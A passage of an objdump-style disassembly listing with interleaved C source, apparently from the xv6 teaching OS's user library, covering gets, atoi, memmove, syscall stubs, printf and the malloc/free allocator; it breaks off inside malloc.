477: 8b 45 08 mov 0x8(%ebp),%eax
47a: 01 c2 add %eax,%edx
47c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
480: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
482: 0f b6 45 ef movzbl -0x11(%ebp),%eax
486: 3c 0a cmp $0xa,%al
488: 74 16 je 4a0 <gets+0x5f>
48a: 0f b6 45 ef movzbl -0x11(%ebp),%eax
48e: 3c 0d cmp $0xd,%al
490: 74 0e je 4a0 <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
492: 8b 45 f4 mov -0xc(%ebp),%eax
495: 83 c0 01 add $0x1,%eax
498: 3b 45 0c cmp 0xc(%ebp),%eax
49b: 7c b3 jl 450 <gets+0xf>
49d: eb 01 jmp 4a0 <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
49f: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
4a0: 8b 55 f4 mov -0xc(%ebp),%edx
4a3: 8b 45 08 mov 0x8(%ebp),%eax
4a6: 01 d0 add %edx,%eax
4a8: c6 00 00 movb $0x0,(%eax)
return buf;
4ab: 8b 45 08 mov 0x8(%ebp),%eax
}
4ae: c9 leave
4af: c3 ret
000004b0 <stat>:
int
stat(char *n, struct stat *st)
{
4b0: 55 push %ebp
4b1: 89 e5 mov %esp,%ebp
4b3: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4b6: 83 ec 08 sub $0x8,%esp
4b9: 6a 00 push $0x0
4bb: ff 75 08 pushl 0x8(%ebp)
4be: e8 0c 01 00 00 call 5cf <open>
4c3: 83 c4 10 add $0x10,%esp
4c6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
4c9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4cd: 79 07 jns 4d6 <stat+0x26>
return -1;
4cf: b8 ff ff ff ff mov $0xffffffff,%eax
4d4: eb 25 jmp 4fb <stat+0x4b>
r = fstat(fd, st);
4d6: 83 ec 08 sub $0x8,%esp
4d9: ff 75 0c pushl 0xc(%ebp)
4dc: ff 75 f4 pushl -0xc(%ebp)
4df: e8 03 01 00 00 call 5e7 <fstat>
4e4: 83 c4 10 add $0x10,%esp
4e7: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
4ea: 83 ec 0c sub $0xc,%esp
4ed: ff 75 f4 pushl -0xc(%ebp)
4f0: e8 c2 00 00 00 call 5b7 <close>
4f5: 83 c4 10 add $0x10,%esp
return r;
4f8: 8b 45 f0 mov -0x10(%ebp),%eax
}
4fb: c9 leave
4fc: c3 ret
000004fd <atoi>:
int
atoi(const char *s)
{
4fd: 55 push %ebp
4fe: 89 e5 mov %esp,%ebp
500: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
503: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
50a: eb 25 jmp 531 <atoi+0x34>
n = n*10 + *s++ - '0';
50c: 8b 55 fc mov -0x4(%ebp),%edx
50f: 89 d0 mov %edx,%eax
511: c1 e0 02 shl $0x2,%eax
514: 01 d0 add %edx,%eax
516: 01 c0 add %eax,%eax
518: 89 c1 mov %eax,%ecx
51a: 8b 45 08 mov 0x8(%ebp),%eax
51d: 8d 50 01 lea 0x1(%eax),%edx
520: 89 55 08 mov %edx,0x8(%ebp)
523: 0f b6 00 movzbl (%eax),%eax
526: 0f be c0 movsbl %al,%eax
529: 01 c8 add %ecx,%eax
52b: 83 e8 30 sub $0x30,%eax
52e: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
531: 8b 45 08 mov 0x8(%ebp),%eax
534: 0f b6 00 movzbl (%eax),%eax
537: 3c 2f cmp $0x2f,%al
539: 7e 0a jle 545 <atoi+0x48>
53b: 8b 45 08 mov 0x8(%ebp),%eax
53e: 0f b6 00 movzbl (%eax),%eax
541: 3c 39 cmp $0x39,%al
543: 7e c7 jle 50c <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
545: 8b 45 fc mov -0x4(%ebp),%eax
}
548: c9 leave
549: c3 ret
0000054a <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
54a: 55 push %ebp
54b: 89 e5 mov %esp,%ebp
54d: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
550: 8b 45 08 mov 0x8(%ebp),%eax
553: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
556: 8b 45 0c mov 0xc(%ebp),%eax
559: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
55c: eb 17 jmp 575 <memmove+0x2b>
*dst++ = *src++;
55e: 8b 45 fc mov -0x4(%ebp),%eax
561: 8d 50 01 lea 0x1(%eax),%edx
564: 89 55 fc mov %edx,-0x4(%ebp)
567: 8b 55 f8 mov -0x8(%ebp),%edx
56a: 8d 4a 01 lea 0x1(%edx),%ecx
56d: 89 4d f8 mov %ecx,-0x8(%ebp)
570: 0f b6 12 movzbl (%edx),%edx
573: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
575: 8b 45 10 mov 0x10(%ebp),%eax
578: 8d 50 ff lea -0x1(%eax),%edx
57b: 89 55 10 mov %edx,0x10(%ebp)
57e: 85 c0 test %eax,%eax
580: 7f dc jg 55e <memmove+0x14>
*dst++ = *src++;
return vdst;
582: 8b 45 08 mov 0x8(%ebp),%eax
}
585: c9 leave
586: c3 ret
00000587 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
587: b8 01 00 00 00 mov $0x1,%eax
58c: cd 40 int $0x40
58e: c3 ret
0000058f <exit>:
SYSCALL(exit)
58f: b8 02 00 00 00 mov $0x2,%eax
594: cd 40 int $0x40
596: c3 ret
00000597 <wait>:
SYSCALL(wait)
597: b8 03 00 00 00 mov $0x3,%eax
59c: cd 40 int $0x40
59e: c3 ret
0000059f <pipe>:
SYSCALL(pipe)
59f: b8 04 00 00 00 mov $0x4,%eax
5a4: cd 40 int $0x40
5a6: c3 ret
000005a7 <read>:
SYSCALL(read)
5a7: b8 05 00 00 00 mov $0x5,%eax
5ac: cd 40 int $0x40
5ae: c3 ret
000005af <write>:
SYSCALL(write)
5af: b8 10 00 00 00 mov $0x10,%eax
5b4: cd 40 int $0x40
5b6: c3 ret
000005b7 <close>:
SYSCALL(close)
5b7: b8 15 00 00 00 mov $0x15,%eax
5bc: cd 40 int $0x40
5be: c3 ret
000005bf <kill>:
SYSCALL(kill)
5bf: b8 06 00 00 00 mov $0x6,%eax
5c4: cd 40 int $0x40
5c6: c3 ret
000005c7 <exec>:
SYSCALL(exec)
5c7: b8 07 00 00 00 mov $0x7,%eax
5cc: cd 40 int $0x40
5ce: c3 ret
000005cf <open>:
SYSCALL(open)
5cf: b8 0f 00 00 00 mov $0xf,%eax
5d4: cd 40 int $0x40
5d6: c3 ret
000005d7 <mknod>:
SYSCALL(mknod)
5d7: b8 11 00 00 00 mov $0x11,%eax
5dc: cd 40 int $0x40
5de: c3 ret
000005df <unlink>:
SYSCALL(unlink)
5df: b8 12 00 00 00 mov $0x12,%eax
5e4: cd 40 int $0x40
5e6: c3 ret
000005e7 <fstat>:
SYSCALL(fstat)
5e7: b8 08 00 00 00 mov $0x8,%eax
5ec: cd 40 int $0x40
5ee: c3 ret
000005ef <link>:
SYSCALL(link)
5ef: b8 13 00 00 00 mov $0x13,%eax
5f4: cd 40 int $0x40
5f6: c3 ret
000005f7 <mkdir>:
SYSCALL(mkdir)
5f7: b8 14 00 00 00 mov $0x14,%eax
5fc: cd 40 int $0x40
5fe: c3 ret
000005ff <chdir>:
SYSCALL(chdir)
5ff: b8 09 00 00 00 mov $0x9,%eax
604: cd 40 int $0x40
606: c3 ret
00000607 <dup>:
SYSCALL(dup)
607: b8 0a 00 00 00 mov $0xa,%eax
60c: cd 40 int $0x40
60e: c3 ret
0000060f <getpid>:
SYSCALL(getpid)
60f: b8 0b 00 00 00 mov $0xb,%eax
614: cd 40 int $0x40
616: c3 ret
00000617 <sbrk>:
SYSCALL(sbrk)
617: b8 0c 00 00 00 mov $0xc,%eax
61c: cd 40 int $0x40
61e: c3 ret
0000061f <sleep>:
SYSCALL(sleep)
61f: b8 0d 00 00 00 mov $0xd,%eax
624: cd 40 int $0x40
626: c3 ret
00000627 <uptime>:
SYSCALL(uptime)
627: b8 0e 00 00 00 mov $0xe,%eax
62c: cd 40 int $0x40
62e: c3 ret
0000062f <waitx>:
SYSCALL(waitx)
62f: b8 16 00 00 00 mov $0x16,%eax
634: cd 40 int $0x40
636: c3 ret
00000637 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
637: 55 push %ebp
638: 89 e5 mov %esp,%ebp
63a: 83 ec 18 sub $0x18,%esp
63d: 8b 45 0c mov 0xc(%ebp),%eax
640: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
643: 83 ec 04 sub $0x4,%esp
646: 6a 01 push $0x1
648: 8d 45 f4 lea -0xc(%ebp),%eax
64b: 50 push %eax
64c: ff 75 08 pushl 0x8(%ebp)
64f: e8 5b ff ff ff call 5af <write>
654: 83 c4 10 add $0x10,%esp
}
657: 90 nop
658: c9 leave
659: c3 ret
0000065a <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
65a: 55 push %ebp
65b: 89 e5 mov %esp,%ebp
65d: 53 push %ebx
65e: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
661: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
668: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
66c: 74 17 je 685 <printint+0x2b>
66e: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
672: 79 11 jns 685 <printint+0x2b>
neg = 1;
674: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
67b: 8b 45 0c mov 0xc(%ebp),%eax
67e: f7 d8 neg %eax
680: 89 45 ec mov %eax,-0x14(%ebp)
683: eb 06 jmp 68b <printint+0x31>
} else {
x = xx;
685: 8b 45 0c mov 0xc(%ebp),%eax
688: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
68b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
692: 8b 4d f4 mov -0xc(%ebp),%ecx
695: 8d 41 01 lea 0x1(%ecx),%eax
698: 89 45 f4 mov %eax,-0xc(%ebp)
69b: 8b 5d 10 mov 0x10(%ebp),%ebx
69e: 8b 45 ec mov -0x14(%ebp),%eax
6a1: ba 00 00 00 00 mov $0x0,%edx
6a6: f7 f3 div %ebx
6a8: 89 d0 mov %edx,%eax
6aa: 0f b6 80 d0 0d 00 00 movzbl 0xdd0(%eax),%eax
6b1: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
6b5: 8b 5d 10 mov 0x10(%ebp),%ebx
6b8: 8b 45 ec mov -0x14(%ebp),%eax
6bb: ba 00 00 00 00 mov $0x0,%edx
6c0: f7 f3 div %ebx
6c2: 89 45 ec mov %eax,-0x14(%ebp)
6c5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
6c9: 75 c7 jne 692 <printint+0x38>
if(neg)
6cb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
6cf: 74 2d je 6fe <printint+0xa4>
buf[i++] = '-';
6d1: 8b 45 f4 mov -0xc(%ebp),%eax
6d4: 8d 50 01 lea 0x1(%eax),%edx
6d7: 89 55 f4 mov %edx,-0xc(%ebp)
6da: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
6df: eb 1d jmp 6fe <printint+0xa4>
putc(fd, buf[i]);
6e1: 8d 55 dc lea -0x24(%ebp),%edx
6e4: 8b 45 f4 mov -0xc(%ebp),%eax
6e7: 01 d0 add %edx,%eax
6e9: 0f b6 00 movzbl (%eax),%eax
6ec: 0f be c0 movsbl %al,%eax
6ef: 83 ec 08 sub $0x8,%esp
6f2: 50 push %eax
6f3: ff 75 08 pushl 0x8(%ebp)
6f6: e8 3c ff ff ff call 637 <putc>
6fb: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
6fe: 83 6d f4 01 subl $0x1,-0xc(%ebp)
702: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
706: 79 d9 jns 6e1 <printint+0x87>
putc(fd, buf[i]);
}
708: 90 nop
709: 8b 5d fc mov -0x4(%ebp),%ebx
70c: c9 leave
70d: c3 ret
0000070e <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
70e: 55 push %ebp
70f: 89 e5 mov %esp,%ebp
711: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
714: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
71b: 8d 45 0c lea 0xc(%ebp),%eax
71e: 83 c0 04 add $0x4,%eax
721: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
724: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
72b: e9 59 01 00 00 jmp 889 <printf+0x17b>
c = fmt[i] & 0xff;
730: 8b 55 0c mov 0xc(%ebp),%edx
733: 8b 45 f0 mov -0x10(%ebp),%eax
736: 01 d0 add %edx,%eax
738: 0f b6 00 movzbl (%eax),%eax
73b: 0f be c0 movsbl %al,%eax
73e: 25 ff 00 00 00 and $0xff,%eax
743: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
746: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
74a: 75 2c jne 778 <printf+0x6a>
if(c == '%'){
74c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
750: 75 0c jne 75e <printf+0x50>
state = '%';
752: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
759: e9 27 01 00 00 jmp 885 <printf+0x177>
} else {
putc(fd, c);
75e: 8b 45 e4 mov -0x1c(%ebp),%eax
761: 0f be c0 movsbl %al,%eax
764: 83 ec 08 sub $0x8,%esp
767: 50 push %eax
768: ff 75 08 pushl 0x8(%ebp)
76b: e8 c7 fe ff ff call 637 <putc>
770: 83 c4 10 add $0x10,%esp
773: e9 0d 01 00 00 jmp 885 <printf+0x177>
}
} else if(state == '%'){
778: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
77c: 0f 85 03 01 00 00 jne 885 <printf+0x177>
if(c == 'd'){
782: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
786: 75 1e jne 7a6 <printf+0x98>
printint(fd, *ap, 10, 1);
788: 8b 45 e8 mov -0x18(%ebp),%eax
78b: 8b 00 mov (%eax),%eax
78d: 6a 01 push $0x1
78f: 6a 0a push $0xa
791: 50 push %eax
792: ff 75 08 pushl 0x8(%ebp)
795: e8 c0 fe ff ff call 65a <printint>
79a: 83 c4 10 add $0x10,%esp
ap++;
79d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
7a1: e9 d8 00 00 00 jmp 87e <printf+0x170>
} else if(c == 'x' || c == 'p'){
7a6: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
7aa: 74 06 je 7b2 <printf+0xa4>
7ac: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
7b0: 75 1e jne 7d0 <printf+0xc2>
printint(fd, *ap, 16, 0);
7b2: 8b 45 e8 mov -0x18(%ebp),%eax
7b5: 8b 00 mov (%eax),%eax
7b7: 6a 00 push $0x0
7b9: 6a 10 push $0x10
7bb: 50 push %eax
7bc: ff 75 08 pushl 0x8(%ebp)
7bf: e8 96 fe ff ff call 65a <printint>
7c4: 83 c4 10 add $0x10,%esp
ap++;
7c7: 83 45 e8 04 addl $0x4,-0x18(%ebp)
7cb: e9 ae 00 00 00 jmp 87e <printf+0x170>
} else if(c == 's'){
7d0: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
7d4: 75 43 jne 819 <printf+0x10b>
s = (char*)*ap;
7d6: 8b 45 e8 mov -0x18(%ebp),%eax
7d9: 8b 00 mov (%eax),%eax
7db: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
7de: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
7e2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7e6: 75 25 jne 80d <printf+0xff>
s = "(null)";
7e8: c7 45 f4 fa 0a 00 00 movl $0xafa,-0xc(%ebp)
while(*s != 0){
7ef: eb 1c jmp 80d <printf+0xff>
putc(fd, *s);
7f1: 8b 45 f4 mov -0xc(%ebp),%eax
7f4: 0f b6 00 movzbl (%eax),%eax
7f7: 0f be c0 movsbl %al,%eax
7fa: 83 ec 08 sub $0x8,%esp
7fd: 50 push %eax
7fe: ff 75 08 pushl 0x8(%ebp)
801: e8 31 fe ff ff call 637 <putc>
806: 83 c4 10 add $0x10,%esp
s++;
809: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
80d: 8b 45 f4 mov -0xc(%ebp),%eax
810: 0f b6 00 movzbl (%eax),%eax
813: 84 c0 test %al,%al
815: 75 da jne 7f1 <printf+0xe3>
817: eb 65 jmp 87e <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
819: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
81d: 75 1d jne 83c <printf+0x12e>
putc(fd, *ap);
81f: 8b 45 e8 mov -0x18(%ebp),%eax
822: 8b 00 mov (%eax),%eax
824: 0f be c0 movsbl %al,%eax
827: 83 ec 08 sub $0x8,%esp
82a: 50 push %eax
82b: ff 75 08 pushl 0x8(%ebp)
82e: e8 04 fe ff ff call 637 <putc>
833: 83 c4 10 add $0x10,%esp
ap++;
836: 83 45 e8 04 addl $0x4,-0x18(%ebp)
83a: eb 42 jmp 87e <printf+0x170>
} else if(c == '%'){
83c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
840: 75 17 jne 859 <printf+0x14b>
putc(fd, c);
842: 8b 45 e4 mov -0x1c(%ebp),%eax
845: 0f be c0 movsbl %al,%eax
848: 83 ec 08 sub $0x8,%esp
84b: 50 push %eax
84c: ff 75 08 pushl 0x8(%ebp)
84f: e8 e3 fd ff ff call 637 <putc>
854: 83 c4 10 add $0x10,%esp
857: eb 25 jmp 87e <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
859: 83 ec 08 sub $0x8,%esp
85c: 6a 25 push $0x25
85e: ff 75 08 pushl 0x8(%ebp)
861: e8 d1 fd ff ff call 637 <putc>
866: 83 c4 10 add $0x10,%esp
putc(fd, c);
869: 8b 45 e4 mov -0x1c(%ebp),%eax
86c: 0f be c0 movsbl %al,%eax
86f: 83 ec 08 sub $0x8,%esp
872: 50 push %eax
873: ff 75 08 pushl 0x8(%ebp)
876: e8 bc fd ff ff call 637 <putc>
87b: 83 c4 10 add $0x10,%esp
}
state = 0;
87e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
885: 83 45 f0 01 addl $0x1,-0x10(%ebp)
889: 8b 55 0c mov 0xc(%ebp),%edx
88c: 8b 45 f0 mov -0x10(%ebp),%eax
88f: 01 d0 add %edx,%eax
891: 0f b6 00 movzbl (%eax),%eax
894: 84 c0 test %al,%al
896: 0f 85 94 fe ff ff jne 730 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
89c: 90 nop
89d: c9 leave
89e: c3 ret
0000089f <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
89f: 55 push %ebp
8a0: 89 e5 mov %esp,%ebp
8a2: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
8a5: 8b 45 08 mov 0x8(%ebp),%eax
8a8: 83 e8 08 sub $0x8,%eax
8ab: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8ae: a1 08 0e 00 00 mov 0xe08,%eax
8b3: 89 45 fc mov %eax,-0x4(%ebp)
8b6: eb 24 jmp 8dc <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8b8: 8b 45 fc mov -0x4(%ebp),%eax
8bb: 8b 00 mov (%eax),%eax
8bd: 3b 45 fc cmp -0x4(%ebp),%eax
8c0: 77 12 ja 8d4 <free+0x35>
8c2: 8b 45 f8 mov -0x8(%ebp),%eax
8c5: 3b 45 fc cmp -0x4(%ebp),%eax
8c8: 77 24 ja 8ee <free+0x4f>
8ca: 8b 45 fc mov -0x4(%ebp),%eax
8cd: 8b 00 mov (%eax),%eax
8cf: 3b 45 f8 cmp -0x8(%ebp),%eax
8d2: 77 1a ja 8ee <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8d4: 8b 45 fc mov -0x4(%ebp),%eax
8d7: 8b 00 mov (%eax),%eax
8d9: 89 45 fc mov %eax,-0x4(%ebp)
8dc: 8b 45 f8 mov -0x8(%ebp),%eax
8df: 3b 45 fc cmp -0x4(%ebp),%eax
8e2: 76 d4 jbe 8b8 <free+0x19>
8e4: 8b 45 fc mov -0x4(%ebp),%eax
8e7: 8b 00 mov (%eax),%eax
8e9: 3b 45 f8 cmp -0x8(%ebp),%eax
8ec: 76 ca jbe 8b8 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
8ee: 8b 45 f8 mov -0x8(%ebp),%eax
8f1: 8b 40 04 mov 0x4(%eax),%eax
8f4: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
8fb: 8b 45 f8 mov -0x8(%ebp),%eax
8fe: 01 c2 add %eax,%edx
900: 8b 45 fc mov -0x4(%ebp),%eax
903: 8b 00 mov (%eax),%eax
905: 39 c2 cmp %eax,%edx
907: 75 24 jne 92d <free+0x8e>
bp->s.size += p->s.ptr->s.size;
909: 8b 45 f8 mov -0x8(%ebp),%eax
90c: 8b 50 04 mov 0x4(%eax),%edx
90f: 8b 45 fc mov -0x4(%ebp),%eax
912: 8b 00 mov (%eax),%eax
914: 8b 40 04 mov 0x4(%eax),%eax
917: 01 c2 add %eax,%edx
919: 8b 45 f8 mov -0x8(%ebp),%eax
91c: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
91f: 8b 45 fc mov -0x4(%ebp),%eax
922: 8b 00 mov (%eax),%eax
924: 8b 10 mov (%eax),%edx
926: 8b 45 f8 mov -0x8(%ebp),%eax
929: 89 10 mov %edx,(%eax)
92b: eb 0a jmp 937 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
92d: 8b 45 fc mov -0x4(%ebp),%eax
930: 8b 10 mov (%eax),%edx
932: 8b 45 f8 mov -0x8(%ebp),%eax
935: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
937: 8b 45 fc mov -0x4(%ebp),%eax
93a: 8b 40 04 mov 0x4(%eax),%eax
93d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
944: 8b 45 fc mov -0x4(%ebp),%eax
947: 01 d0 add %edx,%eax
949: 3b 45 f8 cmp -0x8(%ebp),%eax
94c: 75 20 jne 96e <free+0xcf>
p->s.size += bp->s.size;
94e: 8b 45 fc mov -0x4(%ebp),%eax
951: 8b 50 04 mov 0x4(%eax),%edx
954: 8b 45 f8 mov -0x8(%ebp),%eax
957: 8b 40 04 mov 0x4(%eax),%eax
95a: 01 c2 add %eax,%edx
95c: 8b 45 fc mov -0x4(%ebp),%eax
95f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
962: 8b 45 f8 mov -0x8(%ebp),%eax
965: 8b 10 mov (%eax),%edx
967: 8b 45 fc mov -0x4(%ebp),%eax
96a: 89 10 mov %edx,(%eax)
96c: eb 08 jmp 976 <free+0xd7>
} else
p->s.ptr = bp;
96e: 8b 45 fc mov -0x4(%ebp),%eax
971: 8b 55 f8 mov -0x8(%ebp),%edx
974: 89 10 mov %edx,(%eax)
freep = p;
976: 8b 45 fc mov -0x4(%ebp),%eax
979: a3 08 0e 00 00 mov %eax,0xe08
}
97e: 90 nop
97f: c9 leave
980: c3 ret
00000981 <morecore>:
static Header*
morecore(uint nu)
{
981: 55 push %ebp
982: 89 e5 mov %esp,%ebp
984: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
987: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
98e: 77 07 ja 997 <morecore+0x16>
nu = 4096;
990: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
997: 8b 45 08 mov 0x8(%ebp),%eax
99a: c1 e0 03 shl $0x3,%eax
99d: 83 ec 0c sub $0xc,%esp
9a0: 50 push %eax
9a1: e8 71 fc ff ff call 617 <sbrk>
9a6: 83 c4 10 add $0x10,%esp
9a9: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
9ac: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
9b0: 75 07 jne 9b9 <morecore+0x38>
return 0;
9b2: b8 00 00 00 00 mov $0x0,%eax
9b7: eb 26 jmp 9df <morecore+0x5e>
hp = (Header*)p;
9b9: 8b 45 f4 mov -0xc(%ebp),%eax
9bc: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
9bf: 8b 45 f0 mov -0x10(%ebp),%eax
9c2: 8b 55 08 mov 0x8(%ebp),%edx
9c5: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
9c8: 8b 45 f0 mov -0x10(%ebp),%eax
9cb: 83 c0 08 add $0x8,%eax
9ce: 83 ec 0c sub $0xc,%esp
9d1: 50 push %eax
9d2: e8 c8 fe ff ff call 89f <free>
9d7: 83 c4 10 add $0x10,%esp
return freep;
9da: a1 08 0e 00 00 mov 0xe08,%eax
}
9df: c9 leave
9e0: c3 ret
000009e1 <malloc>:
void*
malloc(uint nbytes)
{
9e1: 55 push %ebp
9e2: 89 e5 mov %esp,%ebp
9e4: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
9e7: 8b 45 08 mov 0x8(%ebp),%eax
9ea: 83 c0 07 add $0x7,%eax
9ed: c1 e8 03 shr $0x3,%eax
9f0: 83 c0 01 add $0x1,%eax
9f3: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
9f6: a1 08 0e 00 00 mov 0xe08,%eax
9fb: 89 45 f0 mov %eax,-0x10(%ebp)
9fe: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
a02: 75 23 jne a27 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
a04: c7 45 f0 00 0e 00 00 movl $0xe00,-0x10(%ebp)
a0b: 8b 45 f0 mov -0x10(%ebp),%eax
a0e: a3 08 0e 00 00 mov %eax,0xe08
a13: a1 08 0e 00 00 mov 0xe08,%eax
a18: a3 00 0e 00 00 mov %eax,0xe00
base.s.size = 0;
a1d: c7 05 04 0e 00 00 00 movl $0x0,0xe04
a24: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a27: 8b 45 f0 mov -0x10(%ebp),%eax
a2a: 8b 00 mov (%eax),%eax
a2c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
a2f: 8b 45 f4 mov -0xc(%ebp),%eax
a32: 8b 40 04 mov 0x4(%eax),%eax
a35: 3b 45 ec cmp -0x14(%ebp),%eax
a38: 72 4d jb a87 <malloc+0xa6>
if(p->s.size == nunits)
a3a: 8b 45 f4 mov -0xc(%ebp),%eax
a3d: 8b 40 04 mov 0x4(%eax),%eax
a40: 3b 45 ec cmp -0x14(%ebp),%eax
a43: 75 0c jne a51 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
a45: 8b 45 f4 mov -0xc(%ebp),%eax
a48: 8b 10 mov (%eax),%edx
a4a: 8b 45 f0 mov -0x10(%ebp),%eax
a4d: 89 10 mov %edx,(%eax)
a4f: eb 26 jmp a77 <malloc+0x96>
else {
p->s.size -= nunits;
a51: 8b 45 f4 mov -0xc(%ebp),%eax
a54: 8b 40 04 mov 0x4(%eax),%eax
a57: 2b 45 ec sub -0x14(%ebp),%eax
a5a: 89 c2 mov %eax,%edx
a5c: 8b 45 f4 mov -0xc(%ebp),%eax
a5f: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
a62: 8b 45 f4 mov -0xc(%ebp),%eax
a65: 8b 40 04 mov 0x4(%eax),%eax
a68: c1 e0 03 shl $0x3,%eax
a6b: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
a6e: 8b 45 f4 mov -0xc(%ebp),%eax
a71: 8b 55 ec mov -0x14(%ebp),%edx
a74: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
a77: 8b 45 f0 mov -0x10(%ebp),%eax
a7a: a3 08 0e 00 00 mov %eax,0xe08
return (void*)(p + 1);
a7f: 8b 45 f4 mov -0xc(%ebp),%eax
a82: 83 c0 08 add $0x8,%eax
